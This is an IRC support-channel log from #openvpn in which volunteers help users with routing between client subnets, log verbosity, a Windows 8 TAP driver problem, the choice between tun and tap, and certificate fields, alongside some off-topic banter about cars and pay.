16:44 -!- exitnode [~androirc@HSI-KBW-149-172-26-60.hsi13.kabel-badenwuerttemberg.de] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
16:59 -!- dbhaber_ [me@208.99.80.128] has joined #openvpn
17:00 -!- dbhaber [me@208.99.80.128] has quit [Read error: Connection reset by peer]
17:01 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
17:01 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 256 seconds]
17:01 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
17:01 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
17:01 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
17:01 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 256 seconds]
17:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:03 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:03 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
17:18 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
17:27 -!- p3rror [~mezgani@41.249.144.158] has joined #openvpn
17:33 -!- mikkel [~mikkel@80.71.132.15] has quit [Quit: Leaving]
17:35 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has joined #openvpn
17:38 < KaiForce> has a fix been identified for the problem described here; https://forums.openvpn.net/topic11901.html
17:38 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN crash windows8 x64 - 2.3 build : Testing branch (at forums.openvpn.net)
17:43 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has joined #openvpn
17:43 -!- eres [~rs@onyon.net] has quit [Ping timeout: 276 seconds]
17:45 < plut0> is there a fix to the ntlm authentication issue for proxies in the latest version? https://forums.openvpn.net/topic7945-15.html
17:45 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN client behind ISA ( Forefront TMG ) : Configuration - Page 2 (at forums.openvpn.net)
17:46 < plut0> getting this when trying to connect, "received corrupted data from proxy server"
17:48 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
17:48 < baobeiiii> morning/night
17:49 -!- eres [~rs@onyon.net] has joined #openvpn
17:54 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Read error: Connection reset by peer]
17:56 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
17:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
18:06 -!- p3rror [~mezgani@41.249.144.158] has quit [Ping timeout: 248 seconds]
18:06 -!- baobeiiii_ [~baobeiiii@192.73.244.224] has joined #openvpn
18:10 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Ping timeout: 240 seconds]
18:17 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:20 < dbhaber_> hm
18:26 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 244 seconds]
18:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
18:27 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
18:28 -!- gardar [~gardar@gardar.net] has joined #openvpn
18:37 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 264 seconds]
18:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:38 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
18:39 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
18:39 -!- defswork [~andy@141.0.50.105] has joined #openvpn
18:48 -!- jaws [~root@5.231.5.192] has joined #openvpn
18:54 < plut0> anyone?
18:58 < jaws> yea
18:59 < plut0> getting this when trying to connect, "received corrupted data from proxy server"
19:01 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
19:06 -!- zach [~zach@nat-192-95-29-123.bhs1.montreal.qbc.ca.nuked.co] has joined #openvpn
19:07 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
19:08 < zach> Good day gents and ladies. I'm looking for some insight on if my idea is possible -- I have two clients - one server, is it possible to route other subnets behind the clients to, well - other clients? ie: client1 - 10.0.5.0/24 is where they're connecting from, client2 is in 10.10.10.0/24  -- what I would like to do is make it so both sides (client 1 & client 2) can see other addresses within the respected subnets.
19:17 <@ecrist> yes
19:17 <@ecrist> !route
19:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
19:17 <@ecrist> !iroute
19:17 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
19:17 <@ecrist> read up, this isn't networking 101
19:17 <@ecrist> if you run into a genuine issue, feel free to ask, though. :)
19:19 < zach> haha, yeah - I thought that was the way I just wanted to confirm, was already going down that road
19:19 <@ecrist> excellent
19:19 < zach> writing out my default routes, just wanted to confirm I was going about it in the right way
19:19 <@ecrist> what you're trying to do is very common
19:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 245 seconds]
19:19 < zach> I have ~15 routes on one side (client 1) that need to be accessible via client 2, so it's just a lot of typing of routes
19:20 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
19:20 <@ecrist> yup
19:20 < zach> I just want to confirm, I do the routes on my server, push routes to each client via openvpn?
19:20 <@ecrist> yup
19:20 < zach> or routes on server + routes on each client manually
19:20 < zach> either will work, I imagine
19:20 <@ecrist> and pass iroute for the client with the routes behind
19:21 < zach> awesome
19:21 < zach> I knew I was on the right track, some times you just need confirmation
19:21 < zach> I appreciate it ecrist
19:25 <@ecrist> :)
19:26 < zach> far more simple than I expected too, good to know about iroute
19:27 < baobeiiii_> ach my openvpn log is 2Mb after just 1 day running
19:27 -!- zz_AsadH is now known as AsadH
19:27 < zach> mine is ~50 for less than a week, very busy server
19:28 < baobeiiii_> mine has only 2 clients
19:28 < baobeiiii_> its because of an error message that occurs every 60 seconds
19:29 < zach> whats the error message/
19:29 -!- raidz is now known as raidz_away
19:29 < baobeiiii_> pekster mentioned how to stop the error message from being logged but at the time I didn't take notes ;)
19:32 < plut0> getting this proxy error when trying to connect, "received corrupted data from proxy server"
19:38 < plut0> is there no fix?
19:41 < baobeiiii_> zach, waiting on the file to open so i can paste it
19:41 < baobeiiii_> something about an ip packet with type 15
19:44 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has joined #openvpn
19:50 < jtrimmer> I know I can redirect all internet traffic through the vpn but is there a way to push a route or option to make a client lan ip redirect only it's internet traffic through the vpn?
19:57 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
19:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:00 < AndrewX192> jtrimmer: set your default gateway according, and and a static route for your local network
20:11 <@ecrist> baobeiiii_: what do you have for verb in your config?
20:13 < baobeiiii_> i set it to 6
20:23 <@ecrist> that's why
20:24 <@ecrist> a working VPN only needs a 2 or 3
20:24 <@ecrist> we consider 5 "very verbose"
20:25 < plut0> anyone have a fix for this proxy issue? "received corrupted data from proxy server"
20:25 <@ecrist> !logs
20:25 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:25 <@ecrist> !configs
20:25 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:25 <@ecrist> plut0: see above
20:32 < dbhaber_> yawn
20:32 < dbhaber_> ecrist: i am going to do my best to get active and keep the forums pruned
20:32 < dbhaber_> i just nuked a half dozen spam posts today
20:32 < dbhaber_> im happy to see its getting good use
20:33 < dbhaber_> how did my nick end pu with a _
20:33 < dbhaber_> up
20:33 < dbhaber_> how the f does someone own this
20:34 <@ecrist> 16:59:43 -!- dbhaber_ [me@208.99.80.128] has joined #openvpn
20:34 <@ecrist> 17:00:24 -!- dbhaber [me@208.99.80.128] has quit [Read error: Connection reset by peer]
20:34 <@ecrist> that's why
20:40 <+hazardous> is that dougy
20:44 < dbhaber_> i see
20:44 < dbhaber_> apparently someone owns this nick
20:44 < dbhaber_> hazardous: who are you?
20:47 <@ecrist> dbhaber_: nobody owns that nick, you just had a connection failure
20:49 < pekster> That said, you're free to register the nick with nickserv if you'd like to maintain official ownership of it: https://www.freenode.net/faq.shtml#userregistration
20:49 <@vpnHelper> Title: freenode: frequently-asked questions (at www.freenode.net)
20:50 < pekster> (You'll want to change your nick first, unless you actually wanted the trailing underscore ;)
20:50 <@ecrist> dbhaber_: that said, the person who registered Dougy used it for 2 weeks and hasn't been seen in 6 months
20:50 <@ecrist> so, go to #freenode and ask them to release the nick
20:52 <+hazardous> dbhaber_: i occasionally browse wht, not a member though
20:52 < dbhaber_> ah
20:52 < dbhaber_> yeah, that is me
20:52 < dbhaber_> that cesspool
20:53 <@ecrist> what cesspool?
20:53 < dbhaber_> wht
20:53 < dbhaber_> www.wht.us
20:53 <@ecrist> gay\
20:54 <@ecrist> dbhaber_: did you see my new car?
20:55 < dbhaber_> ecrist: ha
20:55 < dbhaber_> i haven't talked to you in like 2 years motherf'er
20:55 < dbhaber_> lets see it
20:55 <@ecrist> http://secure-computing.net/files/bmw.jpg
20:55 < dbhaber_> http://images.thetruthaboutcars.com/2008/12/4x4metro.jpg
20:55 < dbhaber_> is this it?
20:55 < dbhaber_> hey, not bad
20:56 < dbhaber_> what year
20:56 <@ecrist> 2013
20:56 < dbhaber_> tbh, I have nothing against BMW
20:56 < dbhaber_> I just won't ever own one
20:56 <@ecrist> took delivery Nov 13
20:56 < dbhaber_> that's a car that someone with a bunch of money has
20:56 < dbhaber_> I have a 2010 Hyundai Sonata, decent car
20:56 < dbhaber_> it was cheap
20:56 < dbhaber_> very cheap
20:57 <@ecrist> no, what I have is a car that someone who USED TO have a bunch of money, has
20:57 < dbhaber_> true
20:57 < dbhaber_> :)
20:57 < dbhaber_> My car was 12k with 24k on the clock
20:57 <@ecrist> that being said, it's fan fucking tastic
20:57 < dbhaber_> heh
20:57 < dbhaber_> I'm not sure what car I want next
20:57 <@ecrist> mine was $64,450 with 11 miles on the clock
20:57 < dbhaber_> Putting money away now.. my next investment is either going to be a house or a nice car in 2-3 years
20:57 < dbhaber_> well, that's a lot of money
20:58 < dbhaber_> that's probably the total i've earned in my entire life
20:58 <@ecrist> heh, I'm sure you've earned more, but just barely. :P
20:58 < dbhaber_> i like driving my friend's car
20:58 < dbhaber_> these are both his
20:58 < dbhaber_> https://sphotos-b.xx.fbcdn.net/hphotos-ash3/553414_4730163253724_52285560_n.jpg
20:58 < dbhaber_> or rather one is his and one is his brother's
20:59 < dbhaber_> he just bought a range rover and a 2013 M3 and a Bentley
20:59 <@ecrist> you have wealthy friends
21:00 < dbhaber_> For a 20 year old who isn't a valet, I've driven some cool cars. Driven a Lamborghini LP640 and Aventador, a Ferrari California from the late 2000's
21:00 < dbhaber_> ecrist: Just a couple. I don't make much money.
21:01 < dbhaber_> I work for $25/hr now which is good for 20 years old I suppose.. plus a $1500/mo side job.. well, it's a $1500/mo retainer salary but some months i dont work a tall.. others i work 6-10 hours
21:01 <@ecrist> not doing too shappy
21:01 <@ecrist> shabby*
21:02 <@ecrist> that's 50k/year
21:02 < dbhaber_> Coudl be doing better
21:02 < dbhaber_> My firend offered me to go into business with this IT gig he was doing in NYC
21:02 <@ecrist> and so could I
21:02 < dbhaber_> he just turned 19, 100k in the bank, equity in a few pretty large companies, 100k+ salary
21:02 < dbhaber_> i coulda had 30%
21:03 < dbhaber_> but i was still in HS when it started like he was, but he went to HS in NYC i believe.. and i did in NJ. so he was just a MTA ride away from work, I was a 30+ minute commute  after HS.. didnt make sense
21:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
21:11 -!- mode/#openvpn [+o krzee] by ChanServ
21:14 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has left #openvpn []
21:15 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
21:16 -!- mikey_w [~mike@71.63.115.202] has quit [Remote host closed the connection]
21:23 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds]
21:35 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
21:37 < baobeiiii> zach, Tue Feb 19 22:34:25 2013 IP packet with unknown IP version=15 seen
21:38 -!- baobeiiii_ [~baobeiiii@192.73.244.224] has quit [Ping timeout: 255 seconds]
21:49 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has quit []
21:49 -!- baobeiiii_ [~baobeiiii@180.155.14.35] has joined #openvpn
21:53 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Ping timeout: 248 seconds]
22:03 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
22:07 -!- MaxDamage [Damage@46.238.18.82] has joined #openvpn
22:07 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 248 seconds]
22:07 < MaxDamage> Hey guys. Anyone have issues with the openvpn TAP adapter under win8? It used to work great under win7.
22:07 < MaxDamage> Both x64, AMD.
22:08 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
22:08 < MaxDamage> It's not signed, so Windows is refusing to use it.
22:10 < MaxDamage> I guess my question would be, does anyone have a self-signed driver, since I can't really figure out how to sign my own :>
22:14 < pekster> The 2.3.0 release should have a signed driver, or at least it did when I installed it in the Win 8 developer preview prior to RTM (I don't have a copy myself)
22:14 < pekster> In my home Vista x64 installation, I get a prompt on first-install asking if I want to install the driver which is signed by "OpenVPN Technologies"
22:15 < pekster> Maybe check your local security policy on driver installation policy setting?
22:16 < MaxDamage> Yeah, I had that message in Windows 7 as well, but Windows 8 outright refuses to install it.
22:17 < pekster> You using the latest version/build? 2.3.0 build I004 is the latet
22:19 -!- brute11k1 [~brute11k@89.249.235.210] has joined #openvpn
22:19 < MaxDamage> Let me see...
22:20 < MaxDamage> hm, for some reason it's 2.0.9
22:20 < pekster> That version is years old
22:20 < pekster> You really ought to use a more recent version
22:20 < MaxDamage> lol
22:20 < MaxDamage> yeah
22:20 < pekster> Circa 2006 ;)
22:21 < pekster> I can almost guarentee that's your issue
22:21 < pekster> http://openvpn.net/index.php/open-source/downloads.html
22:21 <@vpnHelper> Title: Community Downloads (at openvpn.net)
22:21 < MaxDamage> Hahaha, oh wow
22:21 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 244 seconds]
22:21 < MaxDamage> Yeah, that's it.
22:21 < MaxDamage> I don't know why, but Google took me to openvpn.se
22:22 < MaxDamage> I haven't really done anything with it for a year or so, so I don't remember how it went
22:22 < MaxDamage> Yup, it does work now. :)
22:25 < baobeiiii_> lol someone's actually using windows 8?
22:29 < baobeiiii_> pekster, hey, could you remind me of that way to remove the message from being posted in the log
22:29 < baobeiiii_> i was too tired to take it in
22:32 < pekster> baobeiiii_: Reduce the log level blow what that message is set at (I don't know if verb 2 or 1 works, although that'll hide other messages too. Even at 'verb 0' critical errors are still logged.) Optionally, I suggested you use a logging daemon and filter it out
22:33 < dbhaber_> GOD DAMN
22:33 < dbhaber_> i hate windows 8
22:34 < pekster> baobeiiii_: You did correctly verify that it wasn't a --comp-lzo mis-match, right? Both the configs match exactly, and it's not getting added at one end through command-line values or such?
22:34 < MaxDamage> baobeiiii_, yeah, *actually* using windows 8 :>
22:34 < baobeiiii_> both configs match perfectly
22:36 < MaxDamage> Uhh, actually, where do I put the keys again? In config/? :3
22:37 < pekster> MaxDamage: <install_path>\config\ is standard, although technically you can put them anywhere you'd like on the filesystem. The GUI will pick up .ovpn configs in sub-directories off the config dir too
22:37 < MaxDamage> Thanks, pekster.
22:37 < baobeiiii_> i'll ask in linux how to use a logging filter
22:37 < pekster> Yea, that's distro-specific and depends on your syslog package
22:38 < baobeiiii_> then i'll ask in centos ;)
22:38 < pekster> You'll want to ask how to filter out the message based on that specific text match, since you want other logs/warnings/errors from openvpn, presumably
22:38 < baobeiiii_> yep confirmed still getting it even with verb 1
22:39 < baobeiiii_> woke up today with a 2mb log file
22:39 < pekster> Well, technically 'verb 0' is valid too, but still logs critical errors. And TBH you're going to miss a lot of potentially useful stuff at verb 0
22:40 -!- baobeiiii_ is now known as register
22:40 -!- register is now known as baobeiiii
22:43 < MaxDamage> pekster, I should have 'client' in my client config, right? :>
22:44 < MaxDamage> Because I get this when trying to connect http://pastebin.com/9Z26JHq3
22:45 < MaxDamage> And this is the config: http://pastebin.com/nvWp056u
22:45 < MaxDamage> Edited the sample
22:45 < pekster> That error is worthless. Program logs are less worthless
22:46 < MaxDamage> Never mind, got it. The GUI itself produced no output, so I thought there wasn't any in the logs either.
22:46 < MaxDamage> My bad.
22:46 < MaxDamage> ;p
22:48 < MaxDamage> Okay, so this is a bit strange, now. http://pastebin.com/XycayjSF
22:50 < pekster> The GUI passes your decryption passphrase via the  management channel, so that's normal
22:50 < pekster> ie: you must provide the password in the graphical box that comes up. The program's execution is halted (in a "hold" state) until it gets the necessary info
22:51 < MaxDamage> I'm not being asked for a password anywhere, though there is a change password option when I right click on the system tray icon.
22:52 < pekster> Is the config you pasted earlier still valid?
22:52 < MaxDamage> Yup.
22:52 < pekster> Ideally comments/whitespace should be removed, but I can grep them out too if you don't have a proper stream editor like sed/grep on hand to do it
22:52 < MaxDamage> I don't. :>
22:52 < MaxDamage> And thank you.
22:53 < pekster> Well, some sed turns your massive config into this: http://fpaste.org/ysuf/
22:54 < pekster> If your private key is encrypted, it'll prompt you for a box to decrypt it, and that appears to be what is happening based on your logs; you should get a "password" box
22:54 < baobeiiii> i'm thiking if it is definetely related to comp lzo then maybe on the server its 'broken'
22:55 < MaxDamage> hahah
22:55 < pekster> baobeiiii: Post logs from 'verb 4' and include all the variable settings from both the client and server, since that'll tell what the comp-lzo settings are
22:55 < MaxDamage> Yes, I got it. It works now.
22:56 < MaxDamage> It took a while to get a DHCP address, though.
22:56 < pekster> Why use tap?
22:56 < pekster> !tunortap
22:56 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
22:56 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
22:57 < MaxDamage> pekster, it says Win32 TAP interface in ncpa.cpl
22:57 < MaxDamage> so I'd say tap
22:57 < pekster> No, your config
22:57 < MaxDamage> Also tap.
22:58 < pekster> You are operating in tap mode; why not use tun? Do you actaully need to pass Ethernet frames or do multicast across the tunnel?
22:58 < pekster> (if you don't know what those are, you don't need it)
22:58 < MaxDamage> Because I trust my vpn comrades to not screw with the network. :>
22:59 < MaxDamage> And since I'll probably have to get them on skype and teamviewer to have them join it in the first place, i don't think they can
22:59 < pekster> It's just a waste of overhead (packet size goes up) and network traffic as things like ARP broadcasts and link-broadcasts like NBNS waste space
22:59 < baobeiiii> pekster, it's very verbose! http://pastebin.com/q0CjBBDm
23:00 < pekster> skype and teamviewer are not Ethernet-level protocols; they work fine across a tun setup
23:00 < MaxDamage> pekster, I know, I just need it to walk them through the vpn installation.
23:00 -!- Devastator- [~devas@186.214.110.45] has joined #openvpn
23:00 < MaxDamage> Can you give me an example of an ethernet based protocol?
23:00 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
23:01 < pekster> ARP, IPX, IPv6 Router-Announcements would be Ethernet protocols
23:03 < MaxDamage> LAN gaming is also an option, btw
23:03 < MaxDamage> and if we want to play Carmageddon 2, we need IPX
23:03 < MaxDamage> :>
23:04 < pekster> That's potentially valid then, although nothing modern uses IPX (no clue how old that game is.) fwiw, most games today work fine over tun too, you just can't expect the "find games on my LAN" feature to work since that ususally uses subnet broadcasts
23:06 < baobeiiii> noticed a few weird things in the server log reguarding dropped packets
23:07 < MaxDamage> pekster, yeah, it's release nov 30, 1998
23:08 < pekster> baobeiiii: Windows? wtf is it trying to source from fe80::/10? :(
23:08 < MaxDamage> And don't spare any technical details, I do low level support for an ISP in the UK.
23:08 < pekster> That OS is so stupid sometimes
23:09 < baobeiiii> my client is running windows 7 64
23:09 < baobeiiii> no idea what fe80 is
23:09 < pekster> MaxDamage: No, that's basically it. tun saves on overhead (ie: no need to encapsulate the Ethernet frame header in the payload) and doesn't waste UDP packets sending network broadcasts for crap like ARP/NBNS/uPnP/whatever-else-is-on-your-LAN
23:10 < MaxDamage> pekster, the main usage for the VPN would be, for now, secure communciation over IRC or voice protocols, http, ftp, DNS and things to that degree
23:10 < pekster> baobeiiii: IPv6 link-lcoal. Your openvpn config does not enable IPv6, so openvpn rightfully drops trafafic source from a protocol you don't even support over the link
23:11 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Read error: Connection reset by peer]
23:11 < pekster> MaxDamage: Right. Those are all above the IP protocol. tap=Ethernet, tun=IP
23:11 < MaxDamage> I see, yeah.
23:11 < MaxDamage> So tun would be far more secure too, then?
23:11 < pekster> It's not "wrong" to use tap, just a waste of overhead. If you're not actually bridging to your physical LAN then it's also completely a waste
23:12 < baobeiiii> i've disabled ipv6 on the adapter in windows, might fix that
23:12 < MaxDamage> lol
23:12 < pekster> baobeiiii: Yea, that's possible. I've also seen Windows use a source address from a LAN adapter across a Windows adapter too. That OS does the dumbest things someetimes
23:12 < MaxDamage> Nope, those will be independent networks
23:13 < pekster> Erm, source from a physical LAN NIC on the tun/tap device is what I meant
23:13 < pekster> Yea, if you're routing between them there's no need at all to use tap unless you actually wanted to do Ethernet-stuff strictly on the VPN. As soon as you route to another network you've passed the subnet barrier
23:14 < pekster> Ethernet/subnet broadcasts are strictly bound to the link-domainn (some higher-level protocols can relay across these boundries, but the broadcast itself is a Layer 2 thing)
23:15 < pekster> Your call, but I'd suggest you switch to tun. Besides possible gaming implications, nothing you've said requires tap. And even the games should work fine as long as you connect via server IP and not 'broadcast a lot to find game servers on my LAN' stuff
23:15 -!- AsadH is now known as zz_AsadH
23:16 < baobeiiii> pekster, that fixed that fe80 message
23:16 < baobeiiii> had ip6 unticked on wireless adapter im using but not on tap adapter
23:16 < baobeiiii> tun rather
23:16 < MaxDamage> Well, the switch seems fairly easy. Just edit the config. Thanks for the advice, though. :) Wish I could buy you a beer
23:16 < pekster> baobeiiii: What about the proto 15 spam?
23:16 < baobeiiii> still ongoing every 60 seconds
23:19 < baobeiiii> maybe i should try with comp lzo disabled
23:19 < baobeiiii> would show if its something to do with that
23:19 < pekster> baobeiiii: Hm, actually, I can't confirm the lzo setting on the client completely matches due to a bug in the 2.3.0 build that hides the info I want. However, it should be OK based on the config settings
23:19 < pekster> Are you launching via the included GUI?
23:19 < MaxDamage> pekster, strange. My log file is being spammed with "rWrWrW" in the end.
23:19 < baobeiiii> pekster, yes
23:19 < pekster> MaxDamage: Lower verbosity to 3
23:20 < MaxDamage> ah
23:20 < pekster> at >=5 you get 'rwRW' printed for every packet
23:20 < baobeiiii> a bug? please report it!
23:20 < baobeiiii> bug supposed to be gone by the final release
23:20 < baobeiiii> bugs*
23:20 < pekster> baobeiiii: Yea, I just discovered it today. It's a small problem that just hides the config printout from the logs, so it's not a huge deal outside of debugging implications
23:20 < pekster> It's on my todo list tonight
23:20 < baobeiiii> ah woops
23:21 < baobeiiii> the connection log i showed from my client was verb 3 not 4
23:21 < baobeiiii> so it wouldn't match the level of detail
23:21 < baobeiiii> ach no it was 4 lol
23:21 < pekster> The client still shows it's a 2.3.0 release, which won't do anything at verb 4
23:21 < baobeiiii> <--- tired
23:21 -!- Orbi [~opera@anon-163-27.vpn.ipredator.se] has joined #openvpn
23:21 < pekster> (basically, the release bug prevents 2.3.0 clients on Windows from treating verb 4 any differently than verb 3)
23:21 < baobeiiii> did you tell the devs?
23:21 < pekster> Dude...
23:21 < pekster> < pekster> It's on my todo list tonight
23:22 < pekster> If you want it done faster than "tonight" go submit a proper well-written bugreport yourself
23:22 < baobeiiii> no need to go agro
23:23 < baobeiiii> i meant to ask will u tell the devs
23:23 < pekster> Based on what I can see about the options strings from the client, it looks like both clients have the implicit 'adaptive' mode (line 480 to 481 in your paste)
23:25 < baobeiiii> lol my cents channel told me to fix the source of the problem rather than 'hide' it
23:25 < baobeiiii> centos*
23:26 < pekster> Right, that would be better
23:26 < baobeiiii> well if you can't, i'm 100% sure i can't
23:26 < pekster> I suggested yesterday you start the server without any clients at higher verb levels and see if you get per-packetk data from the source
23:26 < baobeiiii> i did
23:26 < baobeiiii> just the client verb 6
23:26 < pekster> I can'd reproduce your error, so I can't actually do anything from here
23:26 < baobeiiii> still got it
23:26 < pekster> You tried 6
23:26 < pekster> verb levels go up to 9
23:27 < pekster> (at least, I guess I haven't checked the upper bound)
23:27 < baobeiiii> if 1 3 4 and 6 show it of course 9 would
23:27 < pekster> No, packet-level debug
23:27 < pekster> Obviously you don't get developer debug output at verb 3...
23:27 < baobeiiii> ok, i didn't because you said it printed the keys or something, i'll try that now
23:27 < pekster> I'm not interseted in the error you see; I'm interested in debug output you currently don't see
23:27 < MaxDamage> pekster, when I do ifconfig in the server, the device is tun0. Does that mean that tap won't really work okay, or should I just stop being stupid? :>
23:28 < pekster> verb 7 shouldn't print the x509 keys, but it will print symmetric keys used
23:28 < baobeiiii> that's not too bad they change every hour
23:29 < pekster> Right. And ideally start with verb 7 (or try 8/9 for fun if you don't get useful results, just to see what you do get) without *any* client connected, since you apparently get that error before your first client even connects
23:29 < baobeiiii> i'll run it for 10 mins on levels 7,8,9 then make a superrrrrrr long pastebin
23:30 < pekster> MaxDamage: Linux/Unix server? traditionally 'tunX' is a tun device anad 'tapX' is a tap device. Techncially you can name them whatever you want, but naming a tap device 'tun0' would be very foolish
23:30 < MaxDamage> pekster, that's what opevpn did.
23:30 < pekster> Then it's tun; you need to match the setting on both ends of the connection or openvpn will refuse to connect
23:31 < MaxDamage> Yeah, that's what I'd wager too :>
23:31 < pekster> baobeiiii: a separate paste per verb level is preferred; the output is likely to be quite large, although without connected clients it might be somewhat sane. If you don't see the proto 15 error at those levels, the output probably won't be helpful to me (since we're trying to debug what leads up to that event specifically)
23:32 < pekster> MaxDamage: If you haven't seen it:
23:32 < pekster> !howto
23:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:32 < MaxDamage> Yeah, I've read it when I first tried out openvpn. It worked great.
23:33 < baobeiiii> pekster, ok, running verb 7 for 10 without client, already see the proto 15 and some interesting messages
23:34 < MaxDamage> pekster, great success. I can now ssh over the vpn.
23:35 < pekster> Better gpg-encrypt files you send over ssh so that encrypted file can be secured with ssh and can then be transported over a secured VPN tunnel. Just in case.
23:36 < MaxDamage> pekster, i heard you like encryption, etc :>
23:41 < baobeiiii> pekster, verb 7 log http://pastebin.com/PgJmTg6f
23:41 < baobeiiii> thanks for helping get to the bottom of it :)
23:42 < MaxDamage> yeah, pekster is a really nice guy
23:45 < MaxDamage> pekster, do you have any guides on how exactly keys and certs work? I can't really understand the regional assignment and why it has to match between server and client if i'm going to have clients from different areas of the world
23:45 < pekster> Why on earth are dozens of IPs trying to contact that host? :\
23:46 < pekster> !x509
23:46 < pekster> !pki
23:46 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
23:46 <@vpnHelper> signed specially as a server (see !servercert)
23:46 < pekster> MaxDamage: ^^ that
23:49 < pekster> baobeiiii: You might try running on a more obscure port, but all those "No TLS state for client" messages are apparently random hosts on the web trying to send data to your server and getting dropped when it doesn't match a connected client
23:50 < MaxDamage> pekster, that's all fine and dandy, but can I issue client keys with different regional assignment, or is that really not necessary or just plain silly?
23:50 < pekster> What is "regional assignment" ?
23:50 < MaxDamage> You know, when you generate a key, where it asks you for region, company name, etc
23:50 < baobeiiii> weird
23:51 < baobeiiii> that it would show up in openvpn log if they're not trying to connect as clients
23:51 < pekster> Oh, that's all cosmetic. My keys don't have anything defined except the CN
23:51 < pekster> MaxDamage: You can type "." when prompted for city/state/whatever if you use easy-rsa and it'll omit the field
23:52 < MaxDamage> I see. :>
